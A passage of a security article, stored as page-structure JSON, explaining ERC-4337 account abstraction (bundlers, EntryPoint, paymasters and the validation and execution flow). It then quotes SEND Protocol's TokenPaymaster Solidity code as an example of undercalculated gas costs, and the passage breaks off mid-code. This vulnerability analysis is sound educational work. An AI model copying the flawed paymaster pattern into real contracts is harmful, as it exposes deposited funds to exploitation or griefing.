call(s)",{"type":23,"tag":801,"props":100101,"children":100102},{},[100103],{"type":28,"value":100104},"Signature or validation metadata",{"type":23,"tag":801,"props":100106,"children":100107},{},[100108,100110,100116],{"type":28,"value":100109},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":23,"tag":135,"props":100111,"children":100113},{"className":100112},[],[100114],{"type":28,"value":100115},"UserOperations",{"type":28,"value":100117}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":23,"tag":666,"props":100119,"children":100121},{"id":100120},"smart-contract-account",[100122],{"type":28,"value":100123},"Smart Contract Account",{"type":23,"tag":24,"props":100125,"children":100126},{},[100127,100129,100135,100136,100142],{"type":28,"value":100128},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":23,"tag":135,"props":100130,"children":100132},{"className":100131},[],[100133],{"type":28,"value":100134},"validateUserOp()",{"type":28,"value":9002},{"type":23,"tag":135,"props":100137,"children":100139},{"className":100138},[],[100140],{"type":28,"value":100141},"executeUserOp()",{"type":28,"value":100143},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":23,"tag":666,"props":100145,"children":100147},{"id":100146},"bundler",[100148],{"type":28,"value":100149},"Bundler",{"type":23,"tag":24,"props":100151,"children":100152},{},[100153,100155,100160,100162,100168],{"type":28,"value":100154},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":23,"tag":135,"props":100156,"children":100158},{"className":100157},[],[100159],{"type":28,"value":100115},{"type":28,"value":100161},", packages them, and submits them in a single transaction to the ",{"type":23,"tag":135,"props":100163,"children":100165},{"className":100164},[],[100166],{"type":28,"value":100167},"EntryPoint",{"type":28,"value":100169}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":23,"tag":666,"props":100171,"children":100172},{"id":12734},[100173],{"type":23,"tag":135,"props":100174,"children":100176},{"className":100175},[],[100177],{"type":28,"value":100167},{"type":23,"tag":24,"props":100179,"children":100180},{},[100181,100182,100187,100189,100194,100196,100200,100202,100207],{"type":28,"value":14625},{"type":23,"tag":135,"props":100183,"children":100185},{"className":100184},[],[100186],{"type":28,"value":100167},{"type":28,"value":100188}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":23,"tag":135,"props":100190,"children":100192},{"className":100191},[],[100193],{"type":28,"value":100115},{"type":28,"value":100195}," submitted by a ",{"type":23,"tag":56,"props":100197,"children":100198},{},[100199],{"type":28,"value":100149},{"type":28,"value":100201},", the ",{"type":23,"tag":135,"props":100203,"children":100205},{"className":100204},[],[100206],{"type":28,"value":100167},{"type":28,"value":100208}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":23,"tag":24,"props":100210,"children":100211},{},[100212,100214,100219,100221,100225,100227,100232,100234,100240],{"type":28,"value":100213},"Once all operations have been processed, the ",{"type":23,"tag":135,"props":100215,"children":100217},{"className":100216},[],[100218],{"type":28,"value":100167},{"type":28,"value":100220}," calculates the total gas consumed and reimburses the ",{"type":23,"tag":56,"props":100222,"children":100223},{},[100224],{"type":28,"value":100149},{"type":28,"value":100226},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":23,"tag":135,"props":100228,"children":100230},{"className":100229},[],[100231],{"type":28,"value":100167},{"type":28,"value":100233}," or from a ",{"type":23,"tag":135,"props":100235,"children":100237},{"className":100236},[],[100238],{"type":28,"value":100239},"paymaster",{"type":28,"value":100241}," that has agreed to sponsor the transaction.",{"type":23,"tag":666,"props":100243,"children":100244},{"id":100239},[100245],{"type":23,"tag":135,"props":100246,"children":100248},{"className":100247},[],[100249],{"type":28,"value":100250},"Paymaster",{"type":23,"tag":24,"props":100252,"children":100253},{},[100254,100256,100261],{"type":28,"value":100255},"A ",{"type":23,"tag":135,"props":100257,"children":100259},{"className":100258},[],[100260],{"type":28,"value":100239},{"type":28,"value":100262}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":23,"tag":14699,"props":100264,"children":100265},{},[100266,100277],{"type":23,"tag":801,"props":100267,"children":100268},{},[100269,100275],{"type":23,"tag":135,"props":100270,"children":100272},{"className":100271},[],[100273],{"type":28,"value":100274},"validatePaymasterUserOp()",{"type":28,"value":100276}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":23,"tag":801,"props":100278,"children":100279},{},[100280,100286],{"type":23,"tag":135,"props":100281,"children":100283},{"className":100282},[],[100284],{"type":28,"value":100285},"postOp()",{"type":28,"value":100287},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":23,"tag":24,"props":100289,"children":100290},{},[100291,100293,100298],{"type":28,"value":100292},"By supporting both sponsorship and token-based gas payments, ",{"type":23,"tag":135,"props":100294,"children":100296},{"className":100295},[],[100297],{"type":28,"value":100239},{"type":28,"value":100299}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":23,"tag":41,"props":100301,"children":100303},{"id":100302},"understanding-the-entrypoints-flow",[100304,100306,100311],{"type":28,"value":100305},"Understanding the ",{"type":23,"tag":135,"props":100307,"children":100309},{"className":100308},[],[100310],{"type":28,"value":100167},{"type":28,"value":100312},"'s Flow",{"type":23,"tag":24,"props":100314,"children":100315},{},[100316,100318,100323,100324,100329,100331,100342,100344,100349,100350,100355],{"type":28,"value":100317},"When a bundler submits ",{"type":23,"tag":135,"props":100319,"children":100321},{"className":100320},[],[100322],{"type":28,"value":100115},{"type":28,"value":14423},{"type":23,"tag":135,"props":100325,"children":100327},{"className":100326},[],[100328],{"type":28,"value":100167},{"type":28,"value":100330}," contract via ",{"type":23,"tag":64,"props":100332,"children":100335},{"href":100333,"rel":100334},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[68],[100336],{"type":23,"tag":135,"props":100337,"children":100339},{"className":100338},[],[100340],{"type":28,"value":100341},"handleOps()",{"type":28,"value":100343},", the processing occurs in two main phases: ",{"type":23,"tag":56,"props":100345,"children":100346},{},[100347],{"type":28,"value":100348},"Validation",{"type":28,"value":9002},{"type":23,"tag":56,"props":100351,"children":100352},{},[100353],{"type":28,"value":100354},"Execution",{"type":28,"value":73},{"type":23,"tag":666,"props":100357,"children":100359},{"id":100358},"validation-phase",[100360],{"type":28,"value":100361},"Validation Phase",{"type":23,"tag":24,"props":100363,"children":100364},{},[100365,100367,100372,100374,100380,100382,100388,100389,100394],{"type":28,"value":100366},"In this phase, the ",{"type":23,"tag":135,"props":100368,"children":100370},{"className":100369},[],[100371],{"type":28,"value":100167},{"type":28,"value":100373}," first validates all operations in the submitted ",{"type":23,"tag":135,"props":100375,"children":100377},{"className":100376},[],[100378],{"type":28,"value":100379},"UserOps",{"type":28,"value":100381}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":23,"tag":135,"props":100383,"children":100385},{"className":100384},[],[100386],{"type":28,"value":100387},"UserOp",{"type":28,"value":100201},{"type":23,"tag":135,"props":100390,"children":100392},{"className":100391},[],[100393],{"type":28,"value":100167},{"type":28,"value":2493},{"type":23,"tag":797,"props":100396,"children":100397},{},[100398,100416,100434,100455,100467],{"type":23,"tag":801,"props":100399,"children":100400},{},[100401,100408,100410],{"type":23,"tag":64,"props":100402,"children":100405},{"href":100403,"rel":100404},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[68],[100406],{"type":28,"value":100407},"Calculates",{"type":28,"value":100409}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":23,"tag":135,"props":100411,"children":100413},{"className":100412},[],[100414],{"type":28,"value":100415},"maxFeePerGas",{"type":23,"tag":801,"props":100417,"children":100418},{},[100419,100426,100427,100432],{"type":23,"tag":64,"props":100420,"children":100423},{"href":100421,"rel":100422},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[68],[100424],{"type":28,"value":100425},"Calls",{"type":28,"value":471},{"type":23,"tag":135,"props":100428,"children":100430},{"className":100429},[],[100431],{"type":28,"value":100134},{"type":28,"value":100433}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":23,"tag":801,"props":100435,"children":100436},{},[100437,100439,100446,100448,100453],{"type":28,"value":100438},"If no paymaster is specified, attempts to ",{"type":23,"tag":64,"props":100440,"children":100443},{"href":100441,"rel":100442},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[68],[100444],{"type":28,"value":100445},"deduct",{"type":28,"value":100447}," the prefund amount from the sender's ETH deposit in the ",{"type":23,"tag":135,"props":100449,"children":100451},{"className":100450},[],[100452],{"type":28,"value":100167},{"type":28,"value":100454}," (this can be partially refunded later if actual execution costs less)",{"type":23,"tag":801,"props":100456,"children":100457},{},[100458,100465],{"type":23,"tag":64,"props":100459,"children":100462},{"href":100460,"rel":100461},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[68],[100463],{"type":28,"value":100464},"Validates",{"type":28,"value":100466}," the nonce to prevent replay attacks",{"type":23,"tag":801,"props":100468,"children":100469},{},[100470,100472,100478,100480,100486,100487,100492],{"type":28,"value":100471},"If a paymaster is specified, it will ",{"type":23,"tag":64,"props":100473,"children":100476},{"href":100474,"rel":100475},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[68],[100477],{"type":28,"value":100445},{"type":28,"value":100479}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":23,"tag":64,"props":100481,"children":100484},{"href":100482,"rel":100483},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[68],[100485],{"type":28,"value":36186},{"type":28,"value":471},{"type":23,"tag":135,"props":100488,"children":100490},{"className":100489},[],[100491],{"type":28,"value":100274},{"type":28,"value":100493}," on the paymaster contract to verify it will cover gas costs",{"type":23,"tag":24,"props":100495,"children":100496},{},[100497,100499,100504,100506,100511],{"type":28,"value":100498},"Only after all these validation checks pass will the ",{"type":23,"tag":135,"props":100500,"children":100502},{"className":100501},[],[100503],{"type":28,"value":100167},{"type":28,"value":100505}," move on to actually executing the ",{"type":23,"tag":135,"props":100507,"children":100509},{"className":100508},[],[100510],{"type":28,"value":100086},{"type":28,"value":100512},". This strict validation flow ensures that:",{"type":23,"tag":14699,"props":100514,"children":100515},{},[100516,100521,100526,100531],{"type":23,"tag":801,"props":100517,"children":100518},{},[100519],{"type":28,"value":100520},"The operation is legitimate and authorized by the user",{"type":23,"tag":801,"props":100522,"children":100523},{},[100524],{"type":28,"value":100525},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":23,"tag":801,"props":100527,"children":100528},{},[100529],{"type":28,"value":100530},"The operation cannot be replayed",{"type":23,"tag":801,"props":100532,"children":100533},{},[100534],{"type":28,"value":100535},"All involved contracts (sender and paymaster) have approved the execution",{"type":23,"tag":24,"props":100537,"children":100538},{},[100539],{"type":28,"value":100540},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":23,"tag":666,"props":100542,"children":100544},{"id":100543},"execution-phase",[100545],{"type":28,"value":100546},"Execution Phase",{"type":23,"tag":24,"props":100548,"children":100549},{},[100550,100552,100557,100559,100566,100568,100573],{"type":28,"value":100551},"After all operations have passed validation, the ",{"type":23,"tag":135,"props":100553,"children":100555},{"className":100554},[],[100556],{"type":28,"value":100167},{"type":28,"value":100558}," begins the ",{"type":23,"tag":64,"props":100560,"children":100563},{"href":100561,"rel":100562},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[68],[100564],{"type":28,"value":100565},"execution",{"type":28,"value":100567}," phase, processing each ",{"type":23,"tag":135,"props":100569,"children":100571},{"className":100570},[],[100572],{"type":28,"value":100086},{"type":28,"value":100574}," individually. For each operation, the flow is:",{"type":23,"tag":797,"props":100576,"children":100577},{},[100578,100638,100684],{"type":23,"tag":801,"props":100579,"children":100580},{},[100581,100582,100587,100589,100595,100596,100602,100604],{"type":28,"value":14625},{"type":23,"tag":135,"props":100583,"children":100585},{"className":100584},[],[100586],{"type":28,"value":100167},{"type":28,"value":100588}," makes a ",{"type":23,"tag":64,"props":100590,"children":100593},{"href":100591,"rel":100592},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[68],[100594],{"type":28,"value":36186},{"type":28,"value":54675},{"type":23,"tag":135,"props":100597,"children":100599},{"className":100598},[],[100600],{"type":28,"value":100601},"innerHandleOp()",{"type":28,"value":100603},", which:\n",{"type":23,"tag":14699,"props":100605,"children":100606},{},[100607,100619,100624],{"type":23,"tag":801,"props":100608,"children":100609},{},[100610,100617],{"type":23,"tag":64,"props":100611,"children":100614},{"href":100612,"rel":100613},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[68],[100615],{"type":28,"value":100616},"Forwards",{"type":28,"value":100618}," the operation to the sender's smart account contract",{"type":23,"tag":801,"props":100620,"children":100621},{},[100622],{"type":28,"value":100623},"Executes the intended transaction(s) within the smart account",{"type":23,"tag":801,"props":100625,"children":100626},{},[100627,100629,100636],{"type":28,"value":100628},"Handles ",{"type":23,"tag":64,"props":100630,"children":100633},{"href":100631,"rel":100632},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[68],[100634],{"type":28,"value":100635},"post-execution",{"type":28,"value":100637}," tasks and cleanup",{"type":23,"tag":801,"props":100639,"children":100640},{},[100641,100643,100649,100651,100657,100658,100664,100666],{"type":28,"value":100642},"If a paymaster was used, ",{"type":23,"tag":135,"props":100644,"children":100646},{"className":100645},[],[100647],{"type":28,"value":100648},"Entrypoint",{"type":28,"value":100650}," will ",{"type":23,"tag":64,"props":100652,"children":100655},{"href":100653,"rel":100654},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[68],[100656],{"type":28,"value":36186},{"type":28,"value":471},{"type":23,"tag":135,"props":100659,"children":100661},{"className":100660},[],[100662],{"type":28,"value":100663},"paymaster.postOp()",{"type":28,"value":100665}," to:\n",{"type":23,"tag":14699,"props":100667,"children":100668},{},[100669,100674,100679],{"type":23,"tag":801,"props":100670,"children":100671},{},[100672],{"type":28,"value":100673},"Allow paymaster to finalize its accounting",{"type":23,"tag":801,"props":100675,"children":100676},{},[100677],{"type":28,"value":100678},"Process any refunds or additional charges",{"type":23,"tag":801,"props":100680,"children":100681},{},[100682],{"type":28,"value":100683},"Complete any paymaster-specific logic",{"type":23,"tag":801,"props":100685,"children":100686},{},[100687,100689,100694,100695,100702,100704],{"type":28,"value":100688},"Finally, after all operations are processed, the ",{"type":23,"tag":135,"props":100690,"children":100692},{"className":100691},[],[100693],{"type":28,"value":100167},{"type":28,"value":471},{"type":23,"tag":64,"props":100696,"children":100699},{"href":100697,"rel":100698},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[68],[100700],{"type":28,"value":100701},"compensates",{"type":28,"value":100703}," the bundler for:\n",{"type":23,"tag":14699,"props":100705,"children":100706},{},[100707,100712,100717],{"type":23,"tag":801,"props":100708,"children":100709},{},[100710],{"type":28,"value":100711},"Gas costs from executing all operations",{"type":23,"tag":801,"props":100713,"children":100714},{},[100715],{"type":28,"value":100716},"Overhead from submitting the batch transaction",{"type":23,"tag":801,"props":100718,"children":100719},{},[100720],{"type":28,"value":100721},"Any unused gas, which is refunded",{"type":23,"tag":24,"props":100723,"children":100724},{},[100725],{"type":28,"value":100726},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":23,"tag":24,"props":100728,"children":100729},{},[100730,100732,100737,100739,100745,100747,100752],{"type":28,"value":100731},"Now that we understand how the ",{"type":23,"tag":135,"props":100733,"children":100735},{"className":100734},[],[100736],{"type":28,"value":100167},{"type":28,"value":100738}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":23,"tag":135,"props":100740,"children":100742},{"className":100741},[],[100743],{"type":28,"value":100744},"paymasters",{"type":28,"value":100746}," that align with the ",{"type":23,"tag":135,"props":100748,"children":100750},{"className":100749},[],[100751],{"type":28,"value":100167},{"type":28,"value":100753},"'s execution model, leading to potential vulnerabilities.",{"type":23,"tag":33262,"props":100755,"children":100757},{"id":100756},"common-pitfalls-in-paymaster-implementation",[100758],{"type":28,"value":100759},"Common Pitfalls in Paymaster Implementation",{"type":23,"tag":24,"props":100761,"children":100762},{},[100763,100765,100770],{"type":28,"value":100764},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":23,"tag":135,"props":100766,"children":100768},{"className":100767},[],[100769],{"type":28,"value":100167},{"type":28,"value":100771}," to exploitation or griefing.",{"type":23,"tag":24,"props":100773,"children":100774},{},[100775,100777,100782],{"type":28,"value":100776},"In this section, we’ll walk through the ",{"type":23,"tag":56,"props":100778,"children":100779},{},[100780],{"type":28,"value":100781},"two most common pitfalls",{"type":28,"value":100783}," we’ve observed in real-world paymaster implementations:",{"type":23,"tag":41,"props":100785,"children":100787},{"id":100786},"undercalculated-gas-costs",[100788],{"type":23,"tag":56,"props":100789,"children":100790},{},[100791],{"type":28,"value":100792},"Undercalculated Gas Costs",{"type":23,"tag":24,"props":100794,"children":100795},{},[100796,100798,100803,100805,100810,100812,100817,100819,100826],{"type":28,"value":100797},"To understand this issue, let's first examine how gas penalties work in the ",{"type":23,"tag":135,"props":100799,"children":100801},{"className":100800},[],[100802],{"type":28,"value":100167},{"type":28,"value":100804},". When a ",{"type":23,"tag":135,"props":100806,"children":100808},{"className":100807},[],[100809],{"type":28,"value":100086},{"type":28,"value":100811}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":23,"tag":135,"props":100813,"children":100815},{"className":100814},[],[100816],{"type":28,"value":100167},{"type":28,"value":100818}," charges a ",{"type":23,"tag":64,"props":100820,"children":100823},{"href":100821,"rel":100822},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[68],[100824],{"type":28,"value":100825},"penalty of 10%",{"type":28,"value":100827}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":23,"tag":24,"props":100829,"children":100830},{},[100831],{"type":28,"value":100832},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":23,"tag":128,"props":100834,"children":100836},{"className":2476,"code":100835,"language":2475,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[100837],{"type":23,"tag":135,"props":100838,"children":100839},{"__ignoreMap":7},[100840,100884,100891,100948,100956,100964,101006,101013,101025,101047,101068,101098,101149,101179,101200,101238,101277,101294,101333,101357,101374,101417,101439,101456,101473,101480,101487,101513,101530,101565,101596,101608,101655,101662,101669,101676,101743,101750,101757,101764,101775,101794,101813,101877,101900,101933,101948,101983,101991,102030,102055,102076,102084,102111,102138,102146,102154,102196,102203,102210,102234,102250,102257,102264,102282,102295,102302,102310],{"type":23,"tag":139,"props":100841,"children":100842},{"class":141,"line":142},[100843,100847,100852,100857,100862,100866,100871,100875,100880],{"type":23,"tag":139,"props":100844,"children":100845},{"style":279},[100846],{"type":28,"value":87718},{"type":23,"tag":139,"props":100848,"children":100849},{"style":305},[100850],{"type":28,"value":100851}," TokenPaymaster",{"type":23,"tag":139,"props":100853,"children":100854},{"style":279},[100855],{"type":28,"value":100856}," is",{"type":23,"tag":139,"props":100858,"children":100859},{"style":305},[100860],{"type":28,"value":100861}," BasePaymaster",{"type":23,"tag":139,"props":100863,"children":100864},{"style":259},[100865],{"type":28,"value":1052},{"type":23,"tag":139,"props":100867,"children":100868},{"style":305},[100869],{"type":28,"value":100870},"UniswapHelper",{"type":23,"tag":139,"props":100872,"children":100873},{"style":259},[100874],{"type":28,"value":1052},{"type":23,"tag":139,"props":100876,"children":100877},{"style":305},[100878],{"type":28,"value":100879},"OracleHelper",{"type":23,"tag":139,"props":100881,"children":100882},{"style":259},[100883],{"type":28,"value":1268},{"type":23,"tag":139,"props":100885,"children":100886},{"class":141,"line":151},[100887],{"type":23,"tag":139,"props":100888,"children":100889},{"style":259},[100890],{"type":28,"value":8327},{"type":23,"tag":139,"props":100892,"children":100893},{"class":141,"line":160},[100894,100898,100903,100907,100912,100917,100922,100926,100931,100935,100939,100944],{"type":23,"tag":139,"props":100895,"children":100896},{"style":279},[100897],{"type":28,"value":87735},{"type":23,"tag":139,"props":100899,"children":100900},{"style":245},[100901],{"type":28,"value":100902}," _validatePaymasterUserOp",{"type":23,"tag":139,"props":100904,"children":100905},{"style":259},[100906],{"type":28,"value":262},{"type":23,"tag":139,"props":100908,"children":100909},{"style":279},[100910],{"type":28,"value":100911},"PackedUserOperation",{"type":23,"tag":139,"props":100913,"children":100914},{"style":279},[100915],{"type":28,"value":100916}," calldata",{"type":23,"tag":139,"props":100918,"children":100919},{"style":294},[100920],{"type":28,"value":100921}," userOp",{"type":23,"tag":139,"props":100923,"children":100924},{"style":259},[100925],{"type":28,"value":1052},{"type":23,"tag":139,"props":100927,"children":100928},{"style":305},[100929],{"type":28,"value":100930},"bytes32",{"type":23,"tag":139,"props":100932,"children":100933},{"style":259},[100934],{"type":28,"value":1052},{"type":23,"tag":139,"props":100936,"children":100937},{"style":305},[100938],{"type":28,"value":44064},{"type":23,"tag":139,"props":100940,"children":100941},{"style":294},[100942],{"type":28,"value":100943}," requiredPreFund",{"type":23,"tag":139,"props":100945,"children":100946},{"style":259},[100947],{"type":28,"value":273},{"type":23,"tag":139,"props":100949,"children":100950},{"class":141,"line":169},[100951],{"type":23,"tag":139,"props":100952,"children":100953},{"style":279},[100954],{"type":28,"value":100955},"        internal\n",{"type":23,"tag":139,"props":100957,"children":100958},{"class":141,"line":178},[100959],{"type":23,"tag":139,"props":100960,"children":100961},{"style":279},[100962],{"type":28,"value":100963},"        override\n",{"type":23,"tag":139,"props":100965,"children":100966},{"class":141,"line":187},[100967,100972,100976,100980,100985,100989,100993,100997,101002],{"type":23,"tag":139,"props":100968,"children":100969},{"style":319},[100970],{"type":28,"value":100971},"        returns",{"type":23,"tag":139,"props":100973,"children":100974},{"style":259},[100975],{"type":28,"value":1042},{"type":23,"tag":139,"props":100977,"children":100978},{"style":305},[100979],{"type":28,"value":81732},{"type":23,"tag":139,"props":100981,"children":100982},{"style":279},[100983],{"type":28,"value":100984}," memory",{"type":23,"tag":139,"props":100986,"children":100987},{"style":294},[100988],{"type":28,"value":74244},{"type":23,"tag":139,"props":100990,"children":100991},{"style":259},[100992],{"type":28,"value":1052},{"type":23,"tag":139,"props":100994,"children":100995},{"style":305},[100996],{"type":28,"value":44064},{"type":23,"tag":139,"props":100998,"children":100999},{"style":294},[101000],{"type":28,"value":101001}," validationResult",{"type":23,"tag":139,"props":101003,"children":101004},{"style":259},[101005],{"type":28,"value":273},{"type":23,"tag":139,"props":101007,"children":101008},{"class":141,"line":196},[101009],{"type":23,"tag":139,"props":101010,"children":101011},{"style":259},[101012],{"type":28,"value":27209},{"type":23,"tag":139,"props":101014,"children":101015},{"class":141,"line":205},[101016,101021],{"type":23,"tag":139,"props":101017,"children":101018},{"style":319},[101019],{"type":28,"value":101020},"        unchecked",{"type":23,"tag":139,"props":101022,"children":101023},{"style":259},[101024],{"type":28,"value":1268},{"type":23,"tag":139,"props":101026,"children":101027},{"class":141,"line":214},[101028,101033,101038,101042],{"type":23,"tag":139,"props":101029,"children":101030},{"style":305},[101031],{"type":28,"value":101032},"            uint256",{"type":23,"tag":139,"props":101034,"children":101035},{"style":259},[101036],{"type":28,"value":101037}," priceMarkup ",{"type":23,"tag":139,"props":101039,"children":101040},{"style":982},[101041],{"type":28,"value":1067},{"type":23,"tag":139,"props":101043,"children":101044},{"style":259},[101045],{"type":28,"value":101046}," tokenPaymasterConfig.priceMarkup;\n",{"type":23,"tag":139,"props":101048,"children":101049},{"class":141,"line":1320},[101050,101054,101059,101063],{"type":23,"tag":139,"props":101051,"children":101052},{"style":305},[101053],{"type":28,"value":101032},{"type":23,"tag":139,"props":101055,"children":101056},{"style":259},[101057],{"type":28,"value":101058}," baseFee ",{"type":23,"tag":139,"props":101060,"children":101061},{"style":982},[101062],{"type":28,"value":1067},{"type":23,"tag":139,"props":101064,"children":101065},{"style":259},[101066],{"type":28,"value":101067}," tokenPaymasterConfig.baseFee;\n",{"type":23,"tag":139,"props":101069,"children":101070},{"class":141,"line":1329},[101071,101075,101080,101084,101089,101093],{"type":23,"tag":139,"props":101072,"children":101073},{"style":305},[101074],{"type":28,"value":101032},{"type":23,"tag":139,"props":101076,"children":101077},{"style":259},[101078],{"type":28,"value":101079}," dataLength ",{"type":23,"tag":139,"props":101081,"children":101082},{"style":982},[101083],{"type":28,"value":1067},{"type":23,"tag":139,"props":101085,"children":101086},{"style":259},[101087],{"type":28,"value":101088}," userOp.paymasterAndData.length ",{"type":23,"tag":139,"props":101090,"children":101091},{"style":982},[101092],{"type":28,"value":2328},{"type":23,"tag":139,"props":101094,"children":101095},{"style":259},[101096],{"type":28,"value":101097}," PAYMASTER_DATA_OFFSET;\n",{"type":23,"tag":139,"props":101099,"children":101100},{"class":141,"line":1580},[101101,101106,101111,101115,101119,101123,101127,101131,101136,101140,101145],{"type":23,"tag":139,"props":101102,"children":101103},{"style":319},[101104],{"type":28,"value":101105},"            require",{"type":23,"tag":139,"props":101107,"children":101108},{"style":259},[101109],{"type":28,"value":101110},"(dataLength 